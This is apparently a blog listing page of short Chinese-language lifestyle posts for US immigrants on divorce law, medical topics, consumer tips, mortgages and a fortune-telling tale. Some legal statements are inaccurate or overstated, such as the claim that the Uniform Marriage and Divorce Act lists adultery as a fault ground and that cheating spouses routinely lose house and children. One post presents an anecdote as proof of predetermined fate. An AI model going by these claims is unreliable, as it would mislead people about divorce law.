一旦净值被确定后，养家的人需要向他人支付他或她的价值份额。这笔款项可以一次性支付，随着时间的推移支付（可能增加利息）或者抵消其他资产。在家中的人还需要再融资或以其他方式移除其他人免于在家中产生的负担。

当有分歧时，离婚房产分割解决办法
如果双方不同意谁应该留在家中，或双方都无法承担财产，他们可以同意 – 或者法院通常会下令 – 将其出售。这并不像看起来那么简单。首先，房地产经纪人必须得到法院的同意或指定。然后需要确定上市价格，如果房子不能立即销售，则需要采用减价方法。
更困难的是确定如何支付费用以及谁将在房屋上市时支付费用。通常情况下，如果一个人不像其他人一样热衷于出售房屋，并且仍然居住在家中，他或她可能会试图阻止出售，因为他们没有将房子保持在明显的状态或妨碍放映。这就是为什么至关重要的是，一项具体协议或法院命令对违约行为的处罚决定了房屋的销售。

虽然分配和分配房屋是困难的，但如果双方都能保持客观的话，这可以变得更容易。房地产很丰富，新房子可以成为“家”。因此，有时候最好的决定不是争取房屋而是向前推进。
美国离婚财产分割过错方，离婚房产分割

当今美国在衡量一个人的道德品行时，对家庭是否忠诚是一个很重要的指标。美国一个著名性健康网站做的一项调查显示，美国男人比想象中要忠于婚姻。90%的美国男人渴望与伴侣相守一生，2/3的人说一定时期内确实受到过诱惑，但有84%的人坚持自己没有背叛过妻子。

根据《美国统一结婚离婚法》(Uniform Marriage and Divorce Act)规定，美国离婚过错理由主要是：奸、虐、弃。“出轨”或“通奸”是法定离婚理由第一条。

没有捉奸在床的关键性证据，就凭两人一起吃饭，通几个电话就能以出轨为由起诉离婚？美国法律上对“通奸”或“出轨”的证据认定还就这么任性。而由此引起离婚的过错方，在财产分配和子女抚养权上也要承担更大的损失。

美国人不愿或不敢轻易背叛婚姻的原因，首先是美国有着一套相对完善的离婚程序，背叛婚姻的一方在离婚之后将会损失很大一部分财产。通常状况下，房子和孩子都会判给另一方，出轨一方需接受被扫地出门（净身出户）的窘境。而且离婚诉讼冗长耗时，令人心焦。

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2019-08-08 / by happy1 / in SAT/ACT, 律师, 律师/移民/金融, 留学/教育/求职

近视激光手术Lasik可能比你想象的更危险

近视激光手术Lasik可能比你想象的更危险
Lasik 是“镭射屈光角膜层状重塑术”（laser-assisted in situ keratomileusis）的缩写，它是根据患者的需要重塑角膜，目的是恢复或矫正患者的视力。每个手术平均约需15分钟，平均花费约4,000美元。

《泰晤士报》的报导显示，自2008年FDA开始收到有关对Lasik的投诉，患者在一次代理会议上作证关于Lasik手术一系列令人不安的副作用，包括视力受损、持续疼痛、社交孤立和抑郁。在某些情况下，患者甚至因为糟糕的Lasik手术引起的疼痛和不适而失去工作或自杀。FDA认定的Lasik可能的风险包括视力不佳、眼睛干涩、眩光，夜间的“光环”效应和疼痛。此外，一些患者对光线变得非常敏感。
研究人员还发现，接受Lasik视力矫正者在未来需要进行白内障手术的风险更高，还有的患者发生严重并发症——角膜扩张的风险增加，这种并发症可能导致失明。此外，研究发现Lasik手术使青光眼的检测更具挑战性，而青光眼可能导致失明。因Lasik手术出现并发症、疼痛和其它副作用的患者可能有资格获得伤害赔偿，患者应联系经验丰富的医疗事故律师，确保索赔案件得到最好的处理。

2019-08-08 / by happy1 / in 医疗健康, 肠胃科/儿科/家庭医生

我需要在这个州生活多久才能离婚？

💧我需要在这个州生活多久才能离婚？
纽约拥有多个居住类别，政党可以依靠这些类别为无效婚姻提起离婚，分居，废止或无效诉讼，从而使纽约法院有权裁决此事。

这些要求如下：
缔约方在纽约结婚，任何一方当事人在纽约开始行动时居住在纽约，并且在行动开始之前已连续居住一年。或者当事人在行动开始时已在纽约居住的纽约当事人中任何一方为纽约居民，并且在行动开始之前已连续居住一年。要么行动原因发生在纽约，任何一方在紧接行动开始之前连续一年为纽约居民。或者行动的起因发生在纽约，双方在行动开始时是纽约的居民。或任何一方在紧接行动开始之前连续居住纽约至少两年。

💧如何向我的配偶提出离婚投诉？我需要等多久才能收到我的离婚？
离婚申诉必须由至少年满18岁的自己以外的人亲自送达您的配偶。你需要多长时间来等待离婚还是取决于你的情况复杂性，需要在离婚来解决问题的数量，如何友好你和你的配偶可以相互等等。

💧离婚诉讼在哪里提交？
纽约州最高法院和配偶居住的县提起离婚申诉。

💧我不知道我的配偶在哪里？我还可以申请离婚吗？
是。如果证明您的配偶的位置无法确定，法院可以通过替代服务授权离婚诉讼。替代服务可以包括为配偶家庭成员提供服务或通过在报纸上发布服务。

💧根据纽约的公平分配法，婚姻财产如何划分？
在纽约，婚姻财产在公平分配理论下分裂。在公平分配的情况下，法院只能在解除婚姻时分配婚姻财产。根据“家庭关系法”（DRL）236B（5）的13个因素，每个配偶都根据案件的总体事实得到公平的或“公平的”婚姻财产份额。

💧纽约的儿童抚养费如何计算？
纽约的子女抚养费是非监护父母的调整总收入的百分比。对于一个孩子，这是百分之十七。两个孩子，百分之二十五，三个孩子，百分之二十九，四个孩子，百分之三十一，以及五个孩子以上的孩子，不低于百分之三十五。有关更多信息，请参阅DRL 240或FCA 413。

💧儿童监护权如何确定？
没有任何一个因素会决定监护权。法院将审视整个事实和情况，并确定对儿童最有利的事情。一些更重要的因素是：（1）哪一个父母更有可能与另一个父母建立关系;（2）哪个父母是主要看护者;（3）孩子目前在哪里生活;以及孩子有多长时间（4）任何法医评估的结果，（5）以及由孩子的律师提出的孩子的意愿。有关更多信息，请参阅有关子女抚养权的文章。

💧支持，保管，赡养费/维护和财产 – 必须在离婚决定之前决定吗？
是。这个问题只有在必须决定时才会产生。对于纽约的每一个离婚理由，除了无过错理由之外，这些事情将在法院做出离婚理由是否已被证实的决定后决定。如果没有得到证实，那么这些问题就不会被法院考虑和决定，并且当事方只是保持结婚。
但是，在无过错离婚的情况下，这些事宜必须得到当事各方的同意，或者在法院能够无过错离婚之前由法院解决。美国法院一般只有在无过错离婚的案例中，才适用调解程序。对于涉及子女监护和探视问题，一般均要进行调解。

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2019-08-08 / by happy1 / in 律师, 律师/移民/金融

Costco可以买到的十种最佳饮品

Costco可以买到的十种最佳饮品
1. 佳得乐（Gatorade）的“Zero”（零）28瓶包装

2. 柯克兰（Kirkland）的有机康普茶生姜柠檬水（Organic Kombucha Ginger Lemonade）
3. 柯克兰有机橙汁
4. Sambazon的巴西紫莓（Açaí）果汁
5. 15瓶包装的Smartwater
6. Horizon Organic（有机层）的全脂盒装牛奶
7. 散装Silk有机香草豆奶（Silk’s Organic Vanilla Soymilk）
8. 多口味包装Spindrift（浪花）产品
9. 12包装的Naked饮料
10. 24支包装的圣培露果萃（San Pellegrino Essenza）

2019-08-08 / by happy1 / in 律师/移民/金融, 移民生活, 美国新闻

影响WiFi信号强弱的居家用品

影响WiFi信号强弱的居家用品
八种会影响无线信号的情况

1，金属干扰
2，微波炉
3，冰箱或洗衣机
4，婴儿监视器
5，无人机
6，墙壁建筑材料的阻挡
7，圣诞树装饰物干扰
8，镜子也会影响无线

增强无线网络信号的小提示
1）路由器放在开阔的空间当中。
2）重启路由器可以清除内部缓存，安装更新路由器版本。
3）选择更强的天线，使用无线放大器，尝试使用最新的无线技术。
4）为无线网络设置密码防止盗用。
5）选择较高频率的宽频，因为高频的使用者数量通常比低频来得少。

2019-08-08 / by happy1 / in 其它, 居家生活, 汽车/房产/保险, 生活/美食/家居

在美国，收到罚单后，应该怎么办？

罚单的背面会让你做出选择：
(1) 认罪（Plea of Guity）
一般来说，认罪只需要交罚款，或是根据情节严重进行扣分。扣分会导致车保险暴涨。如果可以的话，建议通过上交通学校（Traffic School）来取消扣分。交通学校适合18个月内没有违规或是上过交通学校的人，以及没有严重违规的情况下，可以在网上或是on site上课。如果是外州的罚单，有些州与州之间采用不同的罚单系统不联网所以认罪只需交罚款而不会扣分，这个属于case by case，需要自己查询。

(2) 不认罪（Plea of not Guity)
不认罪的话就是要求法院开庭审理，为自己辩护的方式可以有以下几种：
写Written Declaration。
上庭，不带律师。
上庭，带律师。
💧几个常见的交通罚单上诉理由：
禁止停车的标识/道边黄线/停车位分界线模糊或者有误
路边停车收费表故障
警察没有确凿证据或证据不足：比如超速罚单你认为自己没有超速/只是follow traffic并能提供行车记录仪等证据
有特殊情况：比如送人去医院之类的医疗紧急事件
3. 收到罚单后怎么缴费
💧缴费的方式有以下几种：
(1) 网上缴费
(2) 邮寄付款
(3) 亲自缴费
💧车被拖走怎么办？
如果车子被拖走了，可以上网或是到当地警察局去找车子。一般这种情况除了违规罚款外还有交拖车费和车辆保管费，而且费用非常高，动辄几百刀，如果你想省点钱，就要跟对方讨价还价，毕竟能减个一两百刀也是不错的。
💧不交罚单后果
千万不要怀着侥幸的心理，天真地以为罚单不交会被时间遗忘。如果没有按照规定的时间交款，除了会影响你购买车辆保险和无法更新驾照，而且白单会变成黄单，黄单变成粉单，处罚的金额会加倍。如果你没有及时处理粉单的话，法院会下逮捕令并且会留下案底，后果很严重。
💧责任承担
如果是别人开你的车违反交规被抓，处罚的是驾驶人，并不会影响车主的记录。反过来，如果你驾驶别人的车吃罚单，罚款或扣分会落在你身上，并不能够逃脱责任。

2019-08-08 / by happy1 / in 交通/旅游, 律师/移民/金融, 汽车/房产/保险, 生活/美食/家居, 移民生活

美国签证的常见问题最全的介绍都在这里了

美国签证常见问题解答

关于K-1未婚妻签证的问题

两个人在不同的国家，怎么样能在一起。

H-1B签证持有人可以在美国拥有网站吗？

在H-1B转换公司时，没拿到移民局的收据的情况下可以开始工作吗？

政治庇护申请者工作的问题

2019-08-08 / by happy1 / in 律师/移民/金融

为什么总是存不住钱？

1.总喜欢出门逛逛

2.一遇到打折就停不下来

3.出门时急急忙忙

4.在家时无所事事

5.经常动用储蓄

6.少量多次领钱

7.从不多搜集资讯

8. 没有设定自动转存

9. 赚的利息太少

2019-08-08 / by happy1 / in 其它

新生儿需要晒太阳吗？

进入盛夏，成年人都知道用帽子、墨镜和防晒霜来避开烈阳的直晒。而婴儿的皮肤更薄、更娇嫩，要让他们不被晒坏，有什么特别注意事项呢？

在新唐人健康1+1直播节目中，观众林小姐提问：“宝宝出门一定要喷防晒液吗？如果不用防晒产品会有什么后果？”

康奈尔大学下城医院儿科主治医生、幸福儿科诊所院长黄彦鈜答：
林小姐应该是非常关心宝宝的妈妈。这是个好问题。一般在六个月以下的婴儿，我们都不建议直接让宝宝晒太阳。可以抱宝宝出门，可以给宝宝打伞或者戴帽子。所谓的不直接晒，就是真的不让宝宝直接晒到太阳。但即便打伞的话，宝宝还是会受到一些太阳辐射。所以还是要给宝宝涂防晒霜。

六个月以上的宝宝可以直接晒太阳，但不要在太阳最强烈的时候（比如中午）把他带出去，或带到海滩上暴晒。因为婴儿体形非常小，体表面积却非常大，脱水的机会比大人高很多倍。

如果带宝宝出去在海滩上玩耍，要确保涂防晒霜；另外就是要确保宝宝喝很多的水，这样宝宝才不会容易脱水。（看完整直播»新生宝宝的“成长秘笈”）

baby getting sun cream on her face
半岁以上婴幼儿，可在出门前15分钟在裸露皮肤上多搽一些防晒霜。之后每2小时以及在宝宝游泳或出汗后再补搽一次。(iStock)
加州大学洛杉矶分校儿科医生Jay Joo博士的提示与黄彦鈜医生相当接近。他认为，最好的保护就是避免阳光直射，尤其是在上午10时至下午2时之间。此外，他还有如下六点建议：

1. 给宝宝戴上宽边帽子，穿上轻质材料的长袖衣裤。

2. 如果宝宝不反对，可给他/她戴副墨镜。

3. 六个月以下婴儿，可在手部搽少许防晒霜。要确保防晒霜不会刺激宝宝皮肤。

4. 半岁以上婴幼儿，可在出门前15分钟在裸露皮肤上多搽一些防晒霜。之后每2小时以及在宝宝游泳或出汗后再补搽一次。

5. 选用SPF 30的广谱防晒霜或防晒液。

6. 如果宝宝已晒伤，可用冷敷法、炉甘石洗剂或芦荟润肤露缓解症状。

黄彦鈜（Grace Yen Hoong Ooi, MD），医学博士，康奈尔下城医院及纽约大学信义会医院临床教授、儿科主治医师，纽约幸福儿科诊所院长。毕业于哈佛大学医学院、加拿大麦吉尔大学，曾任爱因斯坦医学院儿科住院医师。

2019-08-08 / by happy1 / in 其它, 医疗健康, 求职, 留学/教育/求职, 肠胃科/儿科/家庭医生

房屋按揭结束时需要做什么？

你的房屋贷款结束的那一天会发生什么呢?

需要签名的文件

关闭披露:这包括您的最终贷款条款和关闭成本的细节。

抵押贷款注意:这本质上是一个偿还贷款的“承诺”。

按揭或信托契据:列出如果你无法偿还贷款会发生什么情况的细节。

契约:这合法地将财产所有权转让给你。

结账日也是你支付结账费用和定金的日子。记住，这两种付款方式都应该使用保付支票，而不是现金或个人支票。一定要带一份你的保险证明复印件。

如果你的持有日期和截止日期相同，你就会收到钥匙。。

另外还要注意的事情：报价在邮件中以及可能支付的变化

2019-08-08 / by happy1 / in 律师/移民/金融, 移民生活, 美国新闻

10种常见儿童意外伤害怎么处理？

常见儿童意外伤害怎么处理？

1. 摔断牙齿

2. 误食酒精饮料

3. 眼睛受伤

4. 烫伤

5. 舌头咬伤

6. 蜜蜂叮伤

7. 头部肿包

8.荨麻疹

9. 咬伤

2019-08-08 / by happy1 / in 其它

皮蛋身世之谜

皮蛋身世之谜是恶心食物？还是营养美食？

皮蛋如何挑选、保存？

●完整包装、外壳无破损

●必须保存在常温、通风、阴暗的场所

●如何挑选皮蛋

●不要购买来路不明的产品

●勿食用过量

2019-08-08 / by happy1 / in 其它

不需要收纳柜的收纳法

物品自动减少不需要收纳柜的收纳法

其实，把物品收起来唯一的用处，只有在你想改掉坏习惯的时候。有项实验指出，只要把零食收到柜子里、放在看不到的地方，零食就会缩减为原本的三分之一。所以，建议大家可以不选择把物品收起来，而是改用摆饰收纳法。

■减少并不再添购收纳器具

■挑选提升干劲的家具

重点：终极的收纳术不是收起来，而是摆饰。减少收纳的空间，东西便会自然减少。

2019-08-08 / by happy1 / in 其它, 家具家电, 生活/美食/家居

5种过敏症状易被忽略！

如何对抗过敏体质？5种过敏症状千万别忽略！

●常被忽略的5种过敏症状

●过敏族日常保健，注意3要点

1. 避免过敏原

2. 适度运动

3. 调整饮食

●正确补充益生菌，调整过敏体质

●挑选益生菌3要诀

第一，选择有健康食品认证的益生菌，品质功效较有保障；

第二，挑选适合自身体质的益生菌，如果有调整过敏体质的专利菌株会更好；

第三，需全程冷藏保存。

2019-08-08 / by happy1 / in 医疗健康

纽约儿科医生：新生儿常见问题

2019-08-07 / by happy1 / in 其它, 医疗健康, 肠胃科/儿科/家庭医生

你有第二次抵押贷款的经验吗？

按揭是用地产作为抵押的贷款，按抵押的先后顺序在前面的为第一按揭，在后面的为第二按揭，如果按揭的结果是以拍卖地产而告终，借款人得到补偿的顺序也是第一按揭在先，第二按揭在后，可以看出，对借款人而言第一按揭的安全性远大于第二按揭，所以第二按揭的利息高于第一按揭。绝大部分的按揭为第一按揭。

*使用第二笔抵押贷款，就像你的秘密储备一样

*如何使用第二按揭

*第二次抵押贷款的好处和缺点

*你能拿到多少钱?

2019-08-07 / by happy1 / in 律师/移民/金融, 移民生活, 美国新闻

好吃便宜还健康养生的韩国菜

在美国纽约法拉盛149街和41大道的交界，这里是北美闻名的“韩国餐饮街”。各式各样的韩国料理让食客眼花缭乱，的确这里有琳琅满目的正宗韩餐，每一家都充满特色。今天要介绍的这家韩国餐馆经营的菜品以猪肉为主，营养又好吃，价格还特别便宜，快来看看吧。

Dammion韩国餐厅是一家主打健康养生的韩国餐馆。店里的招牌是以猪肉为主的菜，分别是：酱猪蹄、白切猪肉、以及菜包肉和米肠拼盘，这几道菜里的猪肉吃起来完全没有腥味。

一般有猪肉的菜很难避免有腥膻味出现，而Dammion就能做到。

Dammion厨房长金先生：“一般人，韩国人也好，什么人也好，不会放萝卜，不放的话，肉就会有腥味。”

除了主菜，店家特别推荐汤品，包括：米肠汤饭、猪肉汤饭、参鸡汤等，而高汤用了大量猪骨、牛骨以及猪、牛肉熬煮，汤底还加入磨碎的韩国紫苏籽，是喝起来浓郁香醇的秘方。

厨房长介绍，夏天人体消耗大，正好适合喝一些汤水补身。

Dammion厨房长金先生：“像东北那时候，我们热的时候要吃狗肉，那是一年中最好的。就是老人都那么说的，一模一样的道理，越热就越要喝汤来补身，喝这种汤是补身的意思。”

新店酬宾，餐厅的和米肠汤和猪肉汤饭，两款汤饭全天只售$8.99，促销一直到8月18日。

2019-08-07 / by happy1 / in 居家生活, 律师/移民/金融, 生活/美食/家居, 移民生活, 美国新闻

减肥方法五花八门哪种最好？

“间歇性断食”减肥真的有效研究证实3大益处

各种间歇性断食的效果：

1. 减少身体脂肪

2. 降低血压

3. 降低胆固醇和甘油三酯

4. 改善胰岛素敏感性

5. 减少血液中的炎性标志物

6. 提高运动员的速度和耐力

间歇性断食的类型

不同的研究者和著述者对间歇性断食的定义也有所不同：

1. 每天间歇性断食，例如：只在中午到晚上6点之间吃饭；吃早中晚三餐，然后从傍晚6点到凌晨7点断食；或者每天只按需要吃两次饭。

2. 每周间歇性断食，例如：隔天断食；或5:2（五天正常进食，选两天断食）。

3. 每月间歇性断食，例如每月断食五天。

间歇性断食的3大减肥益处

1. 降低饥饿感

2. 加速脂肪分解

3. 提升代谢灵活性

不适合间歇性断食的人群：

1. 患糖尿病

2. 血压偏低

3. 服用药物

4. 体重不足

5. 饮食失调

6. 年龄不到14岁

7. 有身孕或准备怀孕，在哺乳期

2019-08-07 / by happy1 / in 医疗健康

准备购房的你应该知道的小知识

什么是共同借款人和共同签署人

共同借款人和抵押贷款共同签署人之间的差别

什么是共同借款人?

什么是共同签署人

选择一个值得信赖的共同借款人或共同签名者很重要

2019-08-07 / by happy1 / in 律师/移民/金融, 移民生活, 美国新闻

眼镜越擦越花是啥毛病？

正确清洁眼镜的方法

配眼镜的时候，眼镜行总会在盒子里附上一块眼镜布。许多人也习惯拿这块眼镜布来把眼镜镜片擦干净。但您知道吗？拿这块眼镜布擦眼镜，反而会对镜片造成伤害呢。

一名网友日前在PTT贴文，表示到眼镜行新配好了一副眼镜，没想到去拿眼镜时，老板竟提醒他，盒子里的眼镜布是拿来装饰的，最好不要真的拿来擦。究竟这块眼镜片能不能擦眼镜，也引起网友热烈讨论。

这名网友发文表示，在配镜取件时，眼镜行老板告诉他，眼镜布其实只是个装饰品，最好不要真的拿来擦眼镜；老板也建议他，如果发现眼镜脏污，想要擦拭干净的话，只要拿卫生纸来擦就可以了。

老板的建议也让该名网友感到傻眼，不知真相到底是怎么一回事，因为跟自己的理解完全不一样。

对于网友的疑惑，立刻有其他网友跟进留言表示，「这个讲法我小时候眼镜行就这样跟我讲了」、「眼镜布本来就不能拿来擦，拿面纸才对」。

根据其它媒体相关报导，
先前就曾经有验光师现身说法，提及眼镜布的真正功能，其实只是拿来放在眼镜盒中，避免眼镜与眼镜盒长时间碰撞摩擦后产生损伤。

正因如此，所以赠送给消费者的眼镜布，价格较低廉，品质也一般，加上纤维间隙较大，随着时间容易积累很多灰尘，到时拿这块积满灰尘的眼镜布去擦眼镜，反而容易造成反效果。

但不只眼镜布，许多人发现镜片脏的时候，可能就会直接拿衣角来擦，但这些清洁习惯都不对，因为镜片上难免会有细沙或灰尘，采用干擦的方式，一定会对镜片造成损伤，久了就会发现镜片布满刮痕。

验光师也说，想清洁镜片，正确的方法是将清洁剂滴在有灰尘的镜片上，然后再用水加以冲洗后，拿卫生纸把表面的水滴吸干、晾干即可。如果有沾到油渍、或是难以清除的污渍，可以再加上洗洁精或洗手液。

而目前坊间也有专门用来清洗眼独的洗镜液，可说是眼镜一族的好朋友。当然没有购买的话，使用家里的清洁剂也行。但要注意的是，家中的清洁剂，很多都是弱碱性，清洁长了，难免会破坏镜片表层的镀膜。所以一定要找中性的清洁剂。而在日常生活中，最常见的中性清洁剂，主要以洗碗精居多，所以在选择时要注意一下。

至于眼镜行常见到的超音波清洗器，也是不错的清洁方式，因为在清洁过程中，机器会利用频率传导，造成真空气泡，不但能借此把眼镜的细小脏污震落，还能清洁许多不好处理的缝隙，是非常专业细腻的清洁方式。

目前市场上有推出许多体积较小、价格也亲民的家用超音波清洗机，有需要的民众也可以买一台，不但能清洁眼镜，还能清洁戒指、首饰等精品，一机多用，也是不错的选择哦。

2019-08-07 / by happy1 / in 其它, 居家生活, 汽车/房产/保险, 生活/美食/家居

遗产规划律师分享三点关键

（1）在有生之年不要轻易将财产送给子女；

（2）成立“生前信托”（Living Trusts）；

（3）办理“强效的财务代理人”委托书（Durable Power of Attorney）

2019-08-07 / by happy1 / in 律师/移民/金融

因为抽烟导致截肢，赶快戒烟吧！

人们都知道抽烟会引起慢性支气管炎、肺癌、心脏血管甚至中风等疾病，但你可能不知道抽烟竟然会有可怕的截肢风险。

一名49岁、烟龄超过30年的男子，不久前因为右手的小指发黑溃烂到医院治疗，由于组织已经严重坏死，医师只好为他动手术截断手指头；但没想到日前发现大拇指又有发黑现象，才着急上火的又到医院求诊。

尼古丁诱发“柏格氏症”

门诺医院心脏外科医师黄振铭说，该名男子罹患的是“柏格氏症”，全名叫“闭锁性脉管炎”，是一种发炎性血管闭塞性疾病。而尼古丁就是诱发的主因之一。

抽烟的人因经常吸入尼古丁、焦油、一氧化碳等有毒物质，长期下来导致血管病变引发血栓阻塞、血管狭窄，造成四肢末梢血管缺血；尤其在轻微外伤后，更容易产生溃疡、甚至坏死，最后必须截肢。

柏格氏症发病初期，看起来就像是手脚被冻伤，因为末梢阻塞导致血流下降；患者也会出现一有伤口，就不容易愈合的现象。症状主要表现为手脚指末端瘀青、发黑，但很多患者不以为意，等到伤口肿胀、变成紫绀、线状出血、皮肤起水疱时才就医。在国际的医学文献上也有因此症导致阴茎切除的病例。

林口长庚纪念医院风湿过敏免疫科蔡秉翰医师曾撰文表示，柏格氏症好发于年轻的男性吸烟者，其发病的平均年龄为35岁，但妇女和老年人也可能受到影响。

门诺医院还有一位40岁的妇人，同样是抽烟烟龄30年。虽然她已经连续做过2次的截肢手术了，但医生却发现她在住院期间竟然还经常跑到院区外面偷偷抽烟，看的医师无奈的叹气摇头。结果后来手指头再次出现发黑现象，她又回到医院求诊。

黄振铭医师表示，罹患柏格氏症的患者，唯有戒烟才能及早治疗，他希望有烟瘾的人最好尽快戒烟。

医师再三呼吁　戒烟才是王道

蔡秉翰医师也说，罹患柏格氏症病的患者在患病后如继续吸烟，约有50%的病患需要截肢。但如果他们就此停止吸烟，多数患者的状况会停止变坏。戒烟成为最重要的治疗前提，临床卫教病患戒烟是影响治疗成败的关键。

医师并强调，如果病人无法自己做到戒烟，还是要坦白告之医师，医师可以在短时间内给予尼古丁替代药物，以期帮助病患早日戒烟成功，及早疗愈。

2019-08-07 / by happy1 / in 医疗健康, 肠胃科/儿科/家庭医生

摸骨算命奇准十年后全得证史瞎子救了自己

如果有人能把以后将要发生的事情预先算出来，就可以证明命运是前定的。反之，如果命运不是前定，而是随机、浮沉不定、没规律可循的话，则任何算命术都不会有所应验。

清代赵翼在《檐曝杂记》中记录了一件事，清雍正年间，浙东有一个史瞎子，帮男子算命用摸骨，对方是女子则听声，用此预言别人祸福，出奇准确。
有一次，浙江巡抚徐元梦把史瞎子找来，让他给自己的孙子舒赫德摸骨。当时舒赫德还是童子，在座的还有他私塾老师汪由敦。史瞎子为汪、舒二人相命摸骨后，认为二人将来必定显贵。当时，舒赫德是官宦人家的贵公子，将来飞黄腾达固然是意料之中的事情。而汪由敦则是穷秀才，根本想不到有这等好事，因此认为史瞎子是因为学生的面子，所以也说点好听的应付老师。

这天晚上，史瞎子摸到书塾，对汪由敦说：“你好好努力，将来官职名声在主人之上。”汪由敦越发惶恐不敢当。史瞎子说：“我这不是说瞎话。你是穷书生，我奉承你有什么好处呢？正因为我命中注定，将来我会有一场灾厄，要持续多年。到时你已经当大官了，我的灾厄还要仰赖先生解除。在这里郑重相托，请先生千万不要忘记今天的话，到时尽力拯救我。”

不久，有人把史瞎子推荐给雍正帝。雍正皇帝一向对术数兴趣浓厚，让史瞎子上朝，史瞎子上了奏书之后，却被流放到山海关外去落户，这一去就是十年。
雍正登基十年时，下诏命凡是流放充军以下的罪等都减轻发落。此时汪由敦早已高中进士，升任刑部尚书。汪由敦查看罪犯档案，看到史瞎子也列名其中。汪由敦当然还记得史瞎子，但是，史瞎子是由皇帝特旨流放，档案中又没有明确记载他犯罪事由，因此这类罪犯不在特赦之列。

同僚对史瞎子的案子都感到为难。汪由敦以史瞎子的罪没有超过充军流放，正与皇帝的恩诏相符，于是奏请将他释放回来。
史瞎子回到京城后，仍旧客居在汪由敦的府第，他受了教训更加收敛，不肯为别人算命说祸福了。后来，汪由敦的长子承沆正要参加科举考试，汪夫人望子成龙的心情非常迫切，请史瞎子为他算命。史瞎子说：“可以当到六品官。”六品官就是翰林院修撰及各部主事。当时汪由敦正在内廷供职，子弟若考中进士，必定不至于分发到六部。推测他的长子将中状元，担任翰林院修撰无疑。

汪夫人正暗自高兴，不料汪由敦被委派担任这科的主考官，这样一来，其长子承沆必须回避，不得参加考试。人们都以为史瞎子的预言错了。但到这年冬天，皇帝特赐汪由敦荫一子，承沆得到主事官职，属于正六品。
史瞎子的预言就是如此出奇地准确。那年《檐曝杂记》一书作者赵翼正客居汪由敦家中，对这事来龙去脉知道得非常详细，就把它记录下来。史瞎子还有其他算命的奇验，不胜缕述。

史瞎子在汪由敦还是一个穷秀才时，就己经算到他将来飞黄腾达，而且职位会比他主人还要高，而且还算到日后自己有难，还要靠他来拯救。事隔十多年，果然应验。如果命运不是预先定好，又怎能解释这后来发生的一切呢？

2019-08-07 / by happy1 / in 其它

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专栏作者：草长莺飞

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